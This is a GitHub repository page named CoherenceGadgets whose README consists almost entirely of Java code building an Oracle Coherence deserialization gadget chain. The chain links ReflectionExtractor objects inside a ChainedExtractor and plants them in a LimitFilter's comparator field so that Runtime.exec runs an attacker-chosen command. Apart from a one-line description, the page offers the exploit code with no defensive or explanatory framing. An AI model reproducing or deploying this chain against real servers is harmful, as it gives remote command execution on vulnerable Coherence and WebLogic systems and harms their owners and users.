Skip to content

rggu2zr/CoherenceGadgets

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 

Repository files navigation

CoherenceGadgets

Generated by the specified version

Core reflection

Class<?> classReflectionExtractor = loader.loadClass("com.tangosol.util.extractor.ReflectionExtractor");
Class<?> classChainedExtractor = loader.loadClass("com.tangosol.util.extractor.ChainedExtractor");
Class<?> classLimitFilter = loader.loadClass("com.tangosol.util.filter.LimitFilter");
Class<?> classValueExtractor = loader.loadClass("com.tangosol.util.ValueExtractor");

// Runtime.class.getRuntime()
Constructor<?> constructorReflectionExtractor1 = classReflectionExtractor.getConstructor(String.class, Object[].class);
Object extractor1 = constructorReflectionExtractor1.newInstance("getMethod", new Object[]{"getRuntime", new Class[0]});

// get invoke() to execute exec()
Constructor<?> constructorReflectionExtractor2 = classReflectionExtractor.getConstructor(String.class, Object[].class);
Object extractor2 = constructorReflectionExtractor2.newInstance("invoke", new Object[]{null, new Object[0]});

// invoke("exec","calc")
Constructor<?> constructorReflectionExtractor3 = classReflectionExtractor.getConstructor(String.class, Object[].class);
Object extractor3 = constructorReflectionExtractor3.newInstance("exec", new Object[]{cmd[1]});

Object arrays = Array.newInstance(classReflectionExtractor, 3);
Array.set(arrays, 0, extractor1);
Array.set(arrays, 1, extractor2);
Array.set(arrays, 2, extractor3);

Object chainedExtractor = null;
Constructor<?>[] constructorClassChainedExtractor = classChainedExtractor.getConstructors();
for (Constructor<?> constructor:constructorClassChainedExtractor){
    if(constructor.toString().equalsIgnoreCase("public com.tangosol.util.extractor.ChainedExtractor(com.tangosol.util.ValueExtractor[])")){
        chainedExtractor = constructor.newInstance(arrays);
    }
}

//set m_comparator
Object limitFilter = classLimitFilter.newInstance();
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);

//set m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);

About

Generated by the specified version

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages